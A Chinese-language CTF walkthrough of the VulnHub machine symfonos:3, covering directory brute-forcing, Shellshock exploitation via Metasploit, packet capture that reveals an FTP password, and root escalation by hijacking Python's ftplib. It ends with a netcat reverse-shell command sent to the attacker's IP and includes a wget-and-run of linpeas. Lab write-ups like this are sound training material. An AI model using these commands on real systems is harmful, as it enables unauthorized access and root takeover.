symfonos系列打靶-3

环境

靶机 https://www.vulnhub.com/entry/symfonos-3,332/

信息收集

首先确定目标ip

1
nmap -sP 192.168.31.0/24

详细信息收集,这次倒是没有smb服务了

开启了21,22,80端口,先看看首页吧,除了一张图没什么东西,爆破看看

1
dirsearch -u http://192.168.31.109/   

emmm..没扫出东西来,换个扫描器换个字典

1
gobuster dir -r -u http://192.168.31.109/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster速度很快,但是扫描结果看着没dirsearch看着舒服

扫出一个gate目录,发现还是没东西,继续向下爆破二级目录

1
gobuster dir -r -u http://192.168.31.109/gate -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

还是没东西,继续向下爆破三级目录,没东西了

换个字典,继续爆破

1
gobuster dir -r -u http://192.168.31.109/gate/cerberus -w /usr/share/wordlists/rockyou.txt -t 50 --no-error

似乎有点东西了,继续向下

又发现几个目录,毫无用处…

看了wp,真是日了狗了,还得是你啊dirb

换gobuster继续跑

1
gobuster dir -r -u http://192.168.31.109/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --no-error

终于等到你,这是一个uptime命令的回显

加上路径/cgi-bin,应该是shellshock漏洞

1
2
3
4
5
6
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。
在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
————————————————
版权声明:本文为CSDN博主「悬镜安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Anprou/article/details/72819989

漏洞利用

msf找payload来打

提权

拿到会话,suid有个ping,是有机会提权的,但是要用到gcc,目标没有gcc,上提权脚本linpeas.sh

本地起一个http服务

1
python3 -m http.server 80

靶机去下载

1
2
3
4
cd /tmp
wget http://192.168.31.54/linpeas.sh
chmod +x ./linpeas.sh
./linpeas.sh

没看到可用点,传个pspy上去看看进程,还是一样的传法

uid=0就是root,这个python脚本没有权限查看

但是我们可以抓包看看,他在做什么

1
2
3
cd /tmp
tcpdump -D
tcpdump -w ftp.pcap -i lo #127走回环口

然后把数据包传回来分析,还是一样的用py起一个http服务

1
python -m SimpleHTTPServer # py2

锁定21端口找啊找,翻到一个密码 hades PTpZTfU4vxgzvRBE

直接ssh方便一点

1
ssh hades@192.168.31.109  

常规提权操作无果,直奔ftpclient.py

可以看到引入了一个库 ftplib,尝试修改这个库,达到提权的效果,因为这个脚本是以root权限运行的

1
find / -name ftplib.* 2>/dev/null #把错误信息抛出

继续跟进,可以看到root和gods组是可以修改的

写入反弹shell的命令

1
os.system("nc -nv 192.168.31.118 5555 -e /bin/bash")

kali监听等待回弹